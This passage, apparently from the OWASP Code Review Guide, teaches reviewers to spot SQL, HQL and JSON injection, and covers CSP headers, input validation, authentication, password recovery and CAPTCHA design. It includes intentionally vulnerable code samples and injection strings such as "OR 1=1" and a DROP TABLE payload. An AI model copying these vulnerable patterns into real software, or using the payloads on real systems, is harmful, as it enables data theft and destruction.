attacker uses SQL queries to determine what error responses are returned for valid SQL, and which responses are returned for invalid SQL. Then the attacker can probe; for example check if a table called “user_password_table” exists. Once they have that information, they could use an attack like the one described above to maliciously delete the table, or attempt to return information from the table (does the username “john” exist?). Blind SQL injections can also use timings instead of error messages, e.g. if invalid SQL takes 2 seconds to respond, but valid SQL returns in 0.5 seconds, the attacker can use this information. Parameterized SQL Queries Parameterized SQL queries (sometimes called prepared statements) allow the SQL query string to be defined in such a way that the client input can’t be treated as part of the SQL syntax. Take the example in sample 7.1: In this example the string ‘query’ is constructed in a way that it does not rely on any client input, and the ‘PreparedStatement’ is constructed from that string. When the client input is to be entered into the SQl, the ‘setString’ function is used and the first question mark “?” is replaced by the string value of ‘firstname’, the sec- ond question mark is replaced by the value of ‘lastname’. When the ‘setString’ function is called, this function automatically checks that no SQL syntax is contained within the string value. Most prepared statement APIs allow you to specify the type that should be entered, e.g. ‘setInt’, or ‘setBinary’, etc. Safe String Concatenation? So does this mean you can’t use string concatenation at all in your DB handling code? It is possible to use string concatenation safely, but it does increase the risk of an error, even without an attacker attempting to inject SQL syntax into your application. You should never use string concatenation in combination with the client input value. Take an example where the existence (not the value) of a client input variable “surname” is used to construct the SQL query of the prepared statement; Sample 7.1 1 String query = “SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?”; 2 PreparedStatement pstmt = connection.prepareStatement( query ); 3 pstmt.setString( 1, firstname ); 4 pstmt.setString( 2, lastname ); A1 - Injection 46 Here the value of ‘lastname’ is not being used, but the existance of it is being evaluated. However there is still a risk when the SQL statement is larger and has more complex business logic involved in creating it. Take the following example where the function will search based on firstname or lastname: This logic will be fine when either firstname, or lastname is given, however if neither were given then the SQL state- ment would not have any WHERE clause, and the entire table would be returned. This is not an SQL injection (the attacker has done nothing to cause this situation, except not passing two values) however the end result is the same, information has been leaked from the database, despite the fact that a parameterized query was used. For this reason, the advice is to avoid using string concatenation to create SQL query strings, even when using param- eterized queries, especially if the concatenation involves building any items in the where clause. Using Flexible Parameterized Statements Functional requirements often need the SQL query being executed to be flexible based on the user input, e.g. if the end user specifies a time span for their transaction search then this should be used, or they might wish to query based on either surname or forename, or both. In this case the safe string concatenation above could be used, however from 1 String query = “Select id, firstname, lastname FROM authors WHERE forename = ?”; 2 if (lastname!= NULL && lastname.length != 0) { 3 query += “ and surname = ?”; 4 } 5 query += “;”; 6 7 PreparedStatement pstmt = connection.prepareStatement( query ); 8 pstmt.setString( 1, firstname); 9 10 if (lastname!= NULL && lastname.length != 0) { pstmt.setString( 2, lastname ); } Sample 7.2 1 String query = “select id, firstname, lastname FROM authors”; 2 3 if (( firstname != NULL && firstname.length != 0 ) && ( lastname != NULL && lastname.length != 0 )) { 4    query += “WHERE forename = ? AND surname = ?”; 5 } 6 else if ( firstname != NULL && firstname.length != 0 ) { 7     query += “WHERE forename = ?”; 8 } 9 else if ( lastname!= NULL && lastname.length != 0 ) { 10     query += “WHERE surname = ?”; 11 } 12 13 query += “;”; 14 15 PreparedStatement pstmt = connection.prepareStatement( query ) Sample 7.3 A1 - Injection 47 a maintenance point of view this could invite future programmers to misunderstand the difference between safe concatenation and the unsafe version (using input string values directly). One option for flexible parameterized statements is to use ‘if’ statements to select the correct query based on the input values provided, for example: PHP SQL Injection An SQL injection attack consists of injecting SQL query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing system commands. SQL Injection in PHP remains the number one attack vector, and also the number one reason for data compromises as shown in sample 7.5. Example 1 : 1 String query; 2 PreparedStatement pstmt; 3 4 if ( (firstname!= NULL && firstname.length != 0) && 5 lastname!= NULL && lastname.length != 0) ) { 6 query = “Select id, firstname, lastname FROM authors WHERE forename = ? and surname = ?” 7 pstmt = connection.prepareStatement( query ); 8 pstmt.setString( 1, firstname ); 9 pstmt.setString( 2, lastname ); 10 } 11 else if (firstname != NULL && firstname.length != 0) { 12 query = “Select id, firstname, lastname FROM authors WHERE forename = ?”; 13 pstmt = connection.prepareStatement( query ); 14 pstmt.setString( 1, firstname ); 15 } 16 else if (lastname != NULL && lastname.length != 0){ 17 query = “Select id, firstname, lastname FROM authors WHERE surname= ?”; 18 pstmt = connection.prepareStatement( query ); 19 pstmt.setString( 1, lastname); 20 } 21 else{ 22 throw NameNotSpecifiedException(); } Sample 7.4 1 <?php 1 $pass=$_GET[“pass”]; 2 $con = mysql_connect(‘localhost’, ‘owasp’, ‘abc123’); 3 mysql_select_db(“owasp_php”, $con); 4 $sql=”SELECT card FROM users WHERE password = ‘”.$pass.”’”; 5 $result = mysql_query($sql); 6 ?> Sample 7.5 A1 - Injection 48 The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_ real_escape_string() but those function can always cause SQL Injections in some cases. Addslashes : You will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes. The following example would still be vulnerable mysql_real_escape_string(): mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL’s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ‘, “ and \x1a. As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection: SQL injections occur when input to a web application is not controlled or sanitized before executing to the back-end database. The attacker tries to exploit this vulnerability by passing SQL commands in her/his input and therefore will create a undesired response from the database such as providing information that bypasses the authorization and authentication programmed in the web application. An example of vulnerable java code is shown in sample 7.7 An example of a vulnerable java code The input parameter “name” is passed to the String query without any proper validation or verification. The query ‘SELECT* FROM users where name” is equal to the string ‘username’ can be easily misused to bypass something different that just the ‘name’. For example, the attacker can attempt to pass instead in this way ac- cessing all user records and not only the one entitled to the specific user “ OR 1=1. 1 $id = addslashes( $_GET[‘id’] ); 2 $query = ‘SELECT title FROM books WHERE id = ‘ . $id; Sample 7.6 1 HttpServletRequest request = ...; 2 String userName = request.getParameter(“name”); 3 Connection con = ... 4 String query = “SELECT * FROM Users WHERE name = ‘” + userName + “’”; 5 con.execute(query); Sample 7.7 A1 - Injection 49 .NET Sql Injection Framework 1.0 & 2.0 might be more vulnerable to SQL injections than the later versions of .NET. Thanks to the proper implementation and use of design patters already embedded in ASP.NET such as MVC(also depending on the version), it is possible to create applications free from SQL injections, however, there might be times where a developer might prefer to use SQL code directly in the code. Example. A developer creates a webpage with 3 fields and submit button, to search for employees on fields ‘name’, ‘lastname’ and ‘id’ The developer implements a string concatenated SQL statement or stored procedure in the code such as in sample 7.8. This code is equivalent to the executed SQL statement in sample 7.9. A hacker can then insert the following employee ID via the web interface “123’;DROP TABLE pubs --” and exe- cute the following code: SELECT name, lastname FROM authors WHERE ei_id = ‘123’; DROP TABLE pubs --’ The semicolon “;” provides SQL with a signal that it has reached the end of the sql statement, however, the hacker uses this to continue the statement with the malicious SQL code ; DROP TABLE pubs; Parameter collections Parameter collections such as SqlParameterCollection provide type checking and length validation. If you use a parameters collection, input is treated as a literal value, and SQL Server does not treat it as executable code, and therefore the payload can not be injected. Using a parameters collection lets you enforce type and length checks. Values outside of the range trigger an exception. Make sure you handle the exception correctly. Example of the SqlParameterCollection: Hibernate Query Language (HQL) 1 SqlDataAdapter thisCommand = new SqlDataAdapter( 2 “SELECT name, lastname FROM employees WHERE ei_id = ‘” + idNumber.Text + “’”, thisConnection); Sample 7.8 1 SqlDataAdapter thisCommand = new SqlDataAdapter( 2 “SearchEmployeeSP ‘” + idNumber.Text + “’”, thisConnection); Sample 7.9 A1 - Injection 50 Hibernate facilitates the storage and retrieval of Java domain objects via Object/Relational Mapping (ORM). It is a very common misconception that ORM solutions, like hibernate, are SQL Injection proof. Hibernate allows the use of “native SQL” and defines a proprietary query language, called HQL (Hibernate Query Language); the former is prone to SQL Injection and the later is prone to HQL (or ORM) injection. What to Review • Always validate user input by testing type, length, format, and range. • Test the size and data type of input and enforce appropriate limits. • Test the content of string variables and accept only expected values. Reject entries that contain binary data, escape sequences, and comment characters. • When you are working with XML documents, validate all data against its schema as it is entered. • Never build SQL statements directly from user input. • Use stored procedures to validate user input, when not using stored procedures use SQL API provided by platform. i.e. Parameterized Statements. • Implement multiple layers of validation. • Never concatenate user input that is not validated. String concatenation is the primary point of entry for script injection. You should review all code that calls EXECUTE, EXEC, any SQL calls that can call outside resources or command line. OWASP References • https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet OWASP SQL Injection Prevention Cheat Sheet • https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet OWASP Query Parameterization Cheat Sheet • https://www.owasp.org/index.php/Command_Injection OWASP Command Injection Article • https://www.owasp.org/index.php/XXE OWASP XML eXternal Entity (XXE) Reference Article 1 using (SqlConnection conn = new SqlConnection(connectionString)) { 2 DataSet dataObj = new DataSet(); 3 SqlDataAdapter sqlAdapter = new SqlDataAdapter( “StoredProc”, conn); sqlAdapter.SelectCommand. CommandType = 4 CommandType.StoredProcedure; 5 sqlAdapter.SelectCommand.Parameters.Add(“@usrId”, SqlDbType.VarChar, 15); 6 sqlAdapter.SelectCommand.Parameters[“@usrId “].Value = UID.Text; Sample 7.10 A1 - Injection 51 • https://www.owasp.org/index.php/ASVS ASVS: Output Encoding/Escaping Requirements (V6) • https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005) OWASP Testing Guide: Chap- ter on SQL Injection Testing External References • http://cwe.mitre.org/data/definitions/77.html CWE Entry 77 on Command Injection • http://cwe.mitre.org/data/definitions/89.html CWE Entry 89 on SQL Injection • http://cwe.mitre.org/data/definitions/564.html CWE Entry 564 on Hibernate Injection • Livshits and Lam, 2005 “Finding Security Vulnerabilities in Java Applications with Static Analysis” available at https://www.usenix.org/legacy/event/sec05/tech/full_papers/livshits/livshits_html/#sec:sqlinjexample • http://www.php.net/manual/en/book.pdo.php PDO • https://technet.microsoft.com/en-us/library/ms161953(v=sql.105).aspx 7.3 JSON (JavaScript Object Notation) JSON (JavaScript Object Notation) is an open standard format that uses easy to read text to transmit data be- tween a server and web applications. JSON data can be used by a large number of programming Languages and is becoming the de-facto standard in replacing XML. JSON main security concern is JSON text dynamically embedded in JavaScript, because of this injection is a very real vulnerability. The vulnerability in the program that may inadvertently to run a malicious script or store the malicious script to a database. This is a very real possibility when dealing with data retrieved from the Internet. The code reviewer needs to make sure the JSON is not used with Javascript eval. Make sure JSON.parse(…) is used. Var parsed_object = eval(“(“ + Jason_text + “)”); // Red flag for the code reviewer. JSON.parse(text[, reviver]); .. // Much better then using javascript eval function. Code reviewer should check to make sure the developer is not attempting to reject known bad patterns in text/ string data, Using regex or other devices is fraught with error and makes testing for correctness very hard. Allow only whitelisted alphanumeric keywords and carefully validated numbers. Do not allow JSON data to construct dynamic HTML. Always us safe DOM features like innerText or CreateText- Node(…) Object/Relational Mapping (ORM) Object/Relation Mapping (ORM) facilitates the storage and retrieval of domain objects via HQL (Hibernate Query Language) or .NET Entity framework. It is a very common misconception that ORM solutions, like hibernate are SQL Injection proof. They are not. ORM’s allow the use of “native SQL”. Thru proprietary query language, called HQL is prone to SQL Injection and the later is prone to HQL (or ORM) injection. Linq is not SQL and because of that is not prone to SQL injection. However using excutequery or excutecommand via linq causes the program not to use linq protection mechanism and is vulnera- bility to SQL injection. A1 - Injection 52 Bad Java Code Examples List results = session.createQuery(“from Items as item where item.id = “ + currentItem.getId()).list(); NHibernate is the same as Hibernate except it is an ORM solution for Microsoft .NET platform. NHibernate is also vul- nerable to SQL injection if used my dynamic queries. Bad .Net Code Example Code Reviewer Action Code reviewer needs to make sure any data used in an HQL query uses HQL parameterized queries so that it would be used as data and not as code. They can also use the Criteria API at https://docs.jboss.org/hibernate/ orm/3.3/reference/en/html/querycriteria.html 7.5 Content Security Policy (CSP) Is a W3C specification offering the possibility to instruct the client browser from which location and/or which type of resources are allowed to be loaded. To define a loading behavior, the CSP specification use “directive” where a directive defines a loading behavior for a target resource type. CSP helps to detect and mitigate cer- tain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware Directives can be specified using HTTP response header (a server may send more than one CSP HTTP header field with a given resource representation and a server may send different CSP header field values with dif- ferent representations of the same resource or with different resources) or HTML Meta tag, the HTTP headers below are defined by the specs: • Content-Security-Policy : Defined by W3C Specs as standard header, used by Chrome version 25 and later, Firefox version 23 and later, Opera version 19 and later. • X-Content-Security-Policy : Used by Firefox until version 23, and Internet Explorer version 10 (which partially implements Content Security Policy). • X-WebKit-CSP : Used by Chrome until version 25 Risk The risk with CSP can have 2 main sources: • Policies misconfiguration, • Too permissive policies. What to Review Code reviewer needs to understand what content security policies were required by application design and how these policies are tested to ensure they are in use by the application. string userName = ctx.GetAuthenticatedUserName(); String query = “SELECT * FROM Items WHERE owner = ‘” + userName + “’ AND itemname = ‘” + ItemName.Text + “’”; List items = sess.CreateSQLQuery(query).List() A1 - Injection 53 Useful security-related HTTP headers In most architectures these headers can be set in web servers configuration without changing actual applica- tion’s code. This offers significantly faster and cheaper method for at least partial mitigation of existing issues, and an additional layer of defense for new applications. Note the Spring Security library can assist with these headers, see http://docs.spring.io/spring-security/site/ docs/current/reference/html/headers.html Header name Description Example Strict-Transport-Security https://tools.ietf.org/ html/rfc6797 X-Frame-Options https://tools.ietf.org/ html/draft-ietf-websec-x- frame-options-01 Frame-Options https://tools.ietf.org/ html/draft-ietf-websec- frame-options-00 HTTP Strict-Transport-Security (HSTS) enforces secure (HTTP over SSL/TLS) connections to the server. This reduces impact of bugs in web applications leaking session data through cookies and external links and defends against Man-in-the-middle attacks. HSTS also disables the ability for user’s to ignore SSL negotiation warnings. Provides Click jacking protection. Values: deny - no rendering within a frame, sameorigin - no rendering if origin mismatch, allow-from: DOMAIN - allow rendering if framed by frame loaded from DOMAIN Strict-Transport-Security: max-age=16070400; includeSubDomains X-Frame-Options: deny Table 11: Security Related HTTP Headers X-Content-Type-Options https://blogs.msdn. microsoft.com/ ie/2008/09/02/ie8-securi- ty-part-vi-beta-2-update/ Content-Security-Policy, X-Content-Security-poli- cy,X-WebKit-CSP https://www.w3.org/TR/ CSP/ Content-Security-Poli- cy-Report_Only https://www.w3.org/TR/ CSP/ The only defined value, “nosniff”, prevents Internet Explorer and Google Chrome from MIME-sniffing a response away from the declared content-type. This also applies to Goo- gle Chrome, when downloading extensions. This reduces exposure to drive-by down- load attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files. Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaS- cript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections. Like Content-Security-Policy, but only reports. Useful during implementation, tuning and testing efforts. X-Content-Type-Options: nosniff Content-Security-Policy: default-src ‘self’ Content-Security-Pol- icy-Report-Only: de- fault-src ‘self’; report-uri http://loghost.example. com/reports.jsp X-XSS-Protection [http://blogs. msdn.com/b/ie/ar- chive/2008/07/02/ ie8-security-part-iv-the- xss-filter.aspx X-XSS-Pro- tection] This header enables the Cross-site scripting (XSS) filter built into most recent web brows- ers. It’s usually enabled by default anyway, so the role of this header is to re-enable the filter for this particular website if it was disabled by the user. This header is supported in IE 8+, and in Chrome (not sure which versions). The anti-XSS filter was added in Chrome 4. Its unknown if that version honored this header. X-XSS-Protection: 1; mode=block A1 - Injection 54 References Apache: http://httpd.apache.org/docs/2.0/mod/mod_headers.html IIS: http://technet.microsoft.com/pl-pl/library/cc753133(v=ws.10).aspx 7.6 Input Validation Input validation is one of the most effective technical controls for application security. It can mitigate numer- ous vulnerabilities including cross-site scripting, various forms of injection, and some buffer overflows. Input validation is more than checking form field values. All data from users needs to be considered untrusted. Remember one of the top rules of secure coding is “Don’t trust user input”. Always validate user data with the full knowledge of what your application is trying to accomplish. Regular expressions can be used to validate user input, but the more complicated the regular express are the more chance it is not full proof and has errors for corner cases. Regular expressions are also very hard fro QA to test. Regular expressions may also make it hard for the code reviewer to do a good review of the regular expressions. Data Validation All external input to the system (and between systems/applications) should undergo input validation. The validation rules are defined by the business requirements for the application. If possible, an exact match vali- dator should be implemented. Exact match only permits data that conforms to an expected value. A “Known good” approach (white-list), which is a little weaker, but more flexible, is common. Known good only permits characters/ASCII ranges defined within a white-list. Such a range is defined by the business requirements of the input field. The other approaches to data valida- tion are “known bad,” which is a black list of “bad characters”. This approach is not future proof and would need maintenance. “Encode bad” would be very weak, as it would simply encode characters considered “bad” to a format, which should not affect the functionality of the application. Business Validation Business validation is concerned with business logic. An understanding of the business logic is required prior to reviewing the code, which performs such logic. Business validation could be used to limit the value range or a transaction inputted by a user or reject input, which does not make too much business sense. Reviewing code for business validation can also include rounding errors or floating point issues which may give rise to issues such as integer overflows, which can dramatically damage the bottom line. Canonicalization Canonicalization is the process by which various equivalent forms of a name can be resolved to a single stan- dard name, or the “canonical” name. The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. With the myriad ways of encoding user input, a web application’s filters can be easily circumvented if they’re not carefully built. A1 - Injection 55 Bad Example Good Example .NET Request Validation One solution is to use .Net “Request Validation”. Using request validation is a good start on validating user data and is useful. The downside is too generic and not specific enough to meet all of our requirements to provide full trust of user data. You can never use request validation for securing your application against cross-site scripting attacks. The following example shows how to use a static method in the Uri class to determine whether the Uri provid- ed by a user is valid. var isValidUri = Uri.IsWellFormedUriString(passedUri, UriKind.Absolute); However, to sufficiently verify the Uri, you should also check to make sure it specifies http or https. The follow- ing example uses instance methods to verify that the Uri is valid. var uriToVerify = new Uri(passedUri); var isValidUri = uriToVerify.IsWellFormedOriginalString(); var isValidScheme = uriToVerify.Scheme == “http” || uriToVerify.Scheme == “https”; Before rendering user input as HTML or including user input in a SQL query, encode the values to ensure ma- licious code is not included. You can HTML encode the value in markup with the <%: %> syntax, as shown below. <span><%: userInput %></span> Or, in Razor syntax, you can HTML encode with @, as shown below. public static void main(String[] args) { File x = new File(“/cmd/” + args[1]); String absPath = x.getAbsolutePath(); } Sample 7.11 public static void main(String[] args) throws IOException { File x = new File(“/cmd/” + args[1]); String canonicalPath = x.getCanonicalPath(); Sample 7.12 A1 - Injection 56 <span>@userInput</span> The next example shows how to HTML encode a value in code-behind. var encodedInput = Server.HtmlEncode(userInput); Managed Code and Non-Managed Code Both Java and .Net have the concept of managed and non-managed code. To offer some of these protections during the invocation of native code, do not declare a native method public. Instead, declare it private and expose the functionality through a public wrapper method. A wrapper can safely perform any necessary input validation prior to the invocation of the native method: Java Sample code to call a Native Method with Data Validation in place Data validations checklist for the Code Reviewer. • Ensure that a Data Validation mechanism is present. public final class NativeMethodWrapper { private native void nativeOperation(byte[] data, int offset, int len); public void doOperation(byte[] data, int offset, int len) { // copy mutable input data = data.clone(); // validate input // Note offset+len would be subject to integer overflow. // For instance if offset = 1 and len = Integer.MAX_VALUE, // then offset+len == Integer.MIN_VALUE which is lower // than data.length. // Further, // loops of the form // for (int i=offset; i<offset+len; ++i) { ... } // would not throw an exception or cause native code to // crash. if (offset < 0 || len < 0 || offset > data.length - len) { throw new IllegalArgumentException(); } nativeOperation(data, offset, len); } } Sample 7.13 A1 - Injection 57 • Ensure all input that can (and will) be modified by a malicious user such as HTTP headers, input fields, hidden fields, drop down lists, and other web components are properly validated. • Ensure that the proper length checks on all input exist. • Ensure that all fields, cookies, http headers/bodies, and form fields are validated. • Ensure that the data is well formed and contains only known good chars if possible. • Ensure that the data validation occurs on the server side. • Examine where data validation occurs and if a centralized model or decentralized model is used. • Ensure there are no backdoors in the data validation model. • “Golden Rule: All external input, no matter what it is, will be examined and validated.” Resources: http://msdn.microsoft.com/en-us/library/vstudio/system.uri A1 - Injection 58 A2 59 8.1 Overview Web applications and Web services both use authentication as the primary means of access control from log- ins via user id and passwords. This control is essential to the prevention of confidential files, data, or web pages from being access by hackers or users who do not have the necessary access control level. 8.2 Description Authentication is important, as it is the gateway to the functionality you are wishing to protect. Once a user is authenticated their requests will be authorized to perform some level of interaction with your application that non-authenticated users will be barred from. You cannot control how users manage their authentication information or tokens, but you can ensure there is now way to perform application functions without proper authentication occurring. There are many forms of authentication with passwords being the most common. Other forms include client certificates, biometrics, one time passwords over SMS or special devices, or authentication frameworks such as Open Authorization (OAUTH) or Single Sign On (SSO). Typically authentication is done once, when the user logs into a website, and successful authentication results in a web session being setup for the user (see Session Management). Further (and stronger) authentication can be subsequently requested if the user attempts to perform a high risk function, for example a bank user could be asked to confirm an 6 digit number that was sent to their registered phone number before allowing money to be transferred. Authentication is just as important within a companies firewall as outside it. Attackers should not be able to run free on a companies internal applications simply because they found a way in through a firewall. Also separation of privilege (or duties) means someone working in accounts should not be able to modify code in a repository, or application managers should not be able to edit the payroll spreadsheets. 8.3 What to Review When reviewing code modules which perform authentication functions, some common issues to look out for include: • Ensure the login page is only available over TLS. Some sites leave the login page has HTTP, but make the form submission URL HTTPS so that the users username and password are encrypted when sent to the server. How- ever if the login page is not secured, a risk exists for a man-in-the-middle to modify the form submission URL to an HTTP URL, and when the user enters their username & password they are sent in the clear. • Make sure your usernames/user-ids are case insensitive. Many sites use email addresses for usernames and email addresses are already case insensitive. Regardless, it would be very strange for user ‘smith’ and user ‘Smith’ to be different users. Could result in serious confusion. • Ensure failure messages for invalid usernames or passwords do not leak information. If the error message indicates the username was valid, but the password was wrong, then attackers will know that username exists. If the password was wrong, do not indicate how it was wrong. • Make sure that every character the user types in is actually included in the password. BROKEN AUTHENTICATION AND SESSION MANAGEMENT A2 A2 - Broken Authentication and Session Management 60 A2 - Broken Authentication and Session Management • Do not log invalid passwords. Many times an e-mail address is used as the username, and those users will have a few passwords memorized but may forget which one they used on your web site. The first time they may use a password that in invalid for your site, but valid for many other sites that this user (identified by the username). If you log that username and password combination, and that log leaks out, this low level compro- mise on your site could negatively affect many other sites. • Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. Minimum length of the passwords should be enforced by the application. Passwords shorter than 10 characters are considered to be weak. Passphrases should be encouraged. For more on pass- word lengths see the OWASP Authentication Cheat Sheet. • To prevent brute force attacks, implement temporary account lockouts or rate limit login responses. If a user fails to provide the correct username and password 5 times, then lock the account for X minutes, or implement logic where login responses take an extra 10 seconds. Be careful though, this could leak the fact that the user- name is valid to attackers continually trying random usernames, so as an extra measure, consider implement- ing the same logic for invalid usernames. • For internal systems, consider forcing the users to change passwords after a set period of time, and store a reference (e.g. hash) of the last 5 or more passwords to ensure the user is not simply re-using their old pass- word. • Password complexity should be enforced by making users choose password strings that include various type of characters (e.g. upper- and lower-case letters, numbers, punctuation, etc.). Ideally, the application would indicate to the user as they type in their new password how much of the complexity policy their new password meets. For more on password complexity see the OWASP Authentication Cheat Sheet. • It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. This is an example of web site functionality this is invoked by unau- thenticated users (as they have not provided their password). Ensure interfaces like this are protected from misuse, if asking for password reminder results in an e-mail or SMS being sent to the registered user, do not allow the password reset feature to be used to spam the user by attackers constantly entering the username into this form. Please see Forgot Password Cheat Sheet for details on this feature. • It is critical for an application to store a password using the right cryptographic technique. Please see Password Storage Cheat Sheet for details on this feature. When reviewing MVC .NET is is important to make sure the application transmits and received over a secure link. It is recommended to have all web pages not just login pages use SSL. We need to protect session cookies, which are useful as users credentials. In the global.asax file we can review the RegisterGlobalFilters method. public static void RegisterGlobalFilters(GlobalFilterCollection filters) { “ flters.Add(new RequireHttpsAttribute()); “ } Sample 8.1 61 A2 - Broken Authentication and Session Management The attribute RequireHttpsAttribute() can be used to make sure the application runs over SSL/TLS It is recommended that this be enabled for SSL/TLS sites. • For high risk functions, e.g. banking transactions, user profile updates, etc., utilize multi-factor authentication (MFA). This also mitigates against CSRF and session hijacking attacks. MFA is using more than one authentication factor to logon or process a transaction: • Something you know (account details or passwords) • Something you have (tokens or mobile phones) • Something you are (biometrics) • If the client machine is in a controlled environment utilize SSL Client Authentication, also known as two-way SSL authentication, which consists of both browser and server sending their respective SSL certificates during the TLS handshake process. This provides stronger authentication as the server administrator can create and issue client cer- tificates, allowing the server to only trust login requests from machines that have this client SSL certificate installed. Secure transmission of the client certificate is important. References • https://www.owasp.org/index.php/Authentication_Cheat_Sheet • http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf • http://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication • https://cwe.mitre.org/data/definitions/287.html Improper Authentication • OWASP ASVS requirements areas for Authentication (V2) 8.4 Forgot Password Overview If your web site needs to have user authentication then most likely it will require user name and password to authenticate user accesses. However as computer system have increased in complexity, so has authenticating users has also increased. As a result the code reviewer needs to be aware of the benefits and drawbacks of user authentication referred to as “Direct Authentication” pattern in this section. This section is going to emphasise design patterns for when users forget user id and or password and what the code reviewer needs to consider when reviewing how user id and passwords can be retrieved when forgotten by the user and how to do this in a secure manner. General considerations Notify user by (phone sms, email) such that the user has to click a link in the email that takes them to your site and ask the user to enter a new password. Ask user to enter login credentials they already have (Facebook, Twitter, Google, Microsoft Live, OpenID etc) to validate user before allowing user to change password. Send notification to user to confrm registration or forgot password usage. Send notifications that account information has been changed for registered email. Set appropriate time out value. I.e. If user does not respond to email within 48 hours then user will be frozen out of system until user re-affirms password change. • The identity and shared secret/password must be transferred using encryption to provide data confidenti- ality. 62 • A shared secret can never be stored in clear text format, even if only for a short time in a message queue. • A shared secret must always be stored in hashed or encrypted format in a database. • The organization storing the encrypted shared secret does not need the ability to view or decrypt users passwords. User password must never be sent back to a user. • If the client must cache the username and password for presentation for subsequent calls to a Web service then a secure cache mechanism needs to be in place to protect user name and password. • When reporting an invalid entry back to a user, the username and or password should not be identified as be- ing invalid. User feed back/error message must consider both user name and password as one item “user credential”. I.e. “The username or password you entered is incorrect.” 8.5 CAPTCHA Overview CAPTCHA (an acronym for “Completely Automated Public Turing test to tell Computers and Humans Apart”.) is an access control technique. CAPTCHA is used to prevent automated software from gaining access to webmail services like Gmail, Hotmail and Yahoo to create e-mail spam, automated postings to blogs, forums and wikis for the purpose of promotion (commercial, and or political) or harassment and vandalism and automated account creation. CAPTCHA’s have proved useful and their use has been upheld in court. Circumventing CAPTCHA has been upheld in US Courts as a violation Digital Millennium Copyright Act anti-circumvention section 1201(a)(3) and European Directive 2001/29/EC. General considerations Code review of CAPTCHA’s the reviewer needs to pay attention to the following rules to make sure the CAPT- CHA is built with strong security principals. • Do not allow the user to enter multiple guesses after an incorrect attempt. • The software designer and code review need to understand the statics of guessing. I.e. One CAPTCHA design shows four (3 cats and 1 boat) pictures, User is requested to pick the picture where it is not in the same cat- egory of the other pictures. Automated software will have a success rate of 25% by always picking the first picture. Second depending on the fixed pool of CAPTCHA images over time an attacker can create a database of correct answers then gain 100% access. • Consider using a key being passed to the server that uses a HMAC (Hash-based message authentication code) the answer. Text base CAPTCHA’s should adhere to the following security design principals... 1. Randomize the CAPTCHA length: Don’t use a fixed length; it gives too much information to the attacker. 2. Randomize the character size: Make sure the attacker can’t make educated guesses by using several font sizes / several fonts. 3. Wave the CAPTCHA: Waving the CAPTCHA increases the difficulty for the attacker. 4. Don’t use a complex charset: Using a large charset does not improve significantly the CAPTCHA scheme’s A2 - Broken Authentication and Session Management 63 security and really hurts human accuracy. 5. Use anti-recognition techniques as a means of strengthening CAPTCHA security: Rotation, scaling and rotating some characters and using various font sizes will reduce the recognition efficiency and increase secu- rity by making character width less predictable. 6. Keep the line within the CAPTCHAs: Lines must cross only some of the CAPTCHA letters, so that it is impossible to tell whether it is a line or a character segment. 7. Use large lines: Using lines that are not as wide as the character segments gives an attacker a robust discriminator and makes the line anti-segmentation technique vulnerable to many attack techniques. 8. CAPTCHA does create issues for web sites that must be ADA (Americans with Disabilities Act of 1990) compliant. Code reviewer may need to be aware of web accessibilities and security to review the CAPTCHA implementation where web site is required to be ADA complaint by law. References • UNITED STATES of AMERICA vs KENNETH LOWSON, KRISTOFER KIRSCH, LOEL STEVENSON Federal Indictment. February 23, 2010. Retrieved 2012-01-02. • http://www.google.com/recaptcha/captcha • http://www.ada.gov/anprm2010/web%20anprm_2010.htm • Inaccessibility of CAPTCHA - Alternatives to Visual Turing Tests on the Web http://www.w3.org/TR/turingtest/ 8.6 Out-of-Band Communication Overview The term ‘out-of-band’ is commonly used when an web application communicates with an end user over a channel separate to the HTTP request/responses conducted through the users’ web browser. Common exam- ples include text/SMS, phone calls, e-mail and regular mail. Description The main reason an application would wish to communicate with the end user via these separate channels is for security. A username and password combination could be sufficient authentication to allow a user to browse and use non-sensitive parts of a website, however more sensitive (or risky) functions could require a stronger form of authentication. A username and password could have been stolen through an infected computer, through social engineering, database leak or other attacks, meaning the web application cannot put too much in trust a web session providing the valid username and password combination is actually the intended user. Examples of sensitive operations could include: • Changing password • Changing account details, such as e-mail address, home address, etc • Transferring funds in a banking application • Submitting, modifying or cancelling orders In these cases many applications will communicate with you via a channel other than a browsing session. Many large on-line stores will send you confirmation e-mails when you change account details, or purchase items. This protects in the case that an attacker has the username and password, if they buy something, the legitimate user will get an e-mail and have a chance to cancel the order or alert the website that they did not modify the account. A2 - Broken Authentication and Session Management 64 When out-of-band techniques are performed for authentication it is termed two-factor authentication. There are three ways to authenticate: 1. Something you know (e.g. password, passphrase, memorized PIN) 2. Something you have (e.g. mobile phone, cash card, RSA token) 3. Something you are (e.g. iris scan, fingerprint) If a banking website allows users to initiate transactions online, it could use two-factor authentication by tak- ing 1) the password used to log in and 2) sending an PIN number over SMS to the users registered phone, and then requiring the user enter the PIN before completing the transaction. This requires something the user knows (password) and has (phone to receive the PIN). A ‘chip-and-pin’ banking card will use two-factor authentication, by requiring users to have the card with them (something they have) and also enter a PIN when performing a purchase (something they know). A ‘chip-and- pin’ card is not use within the PIN number, likewise knowing the PIN 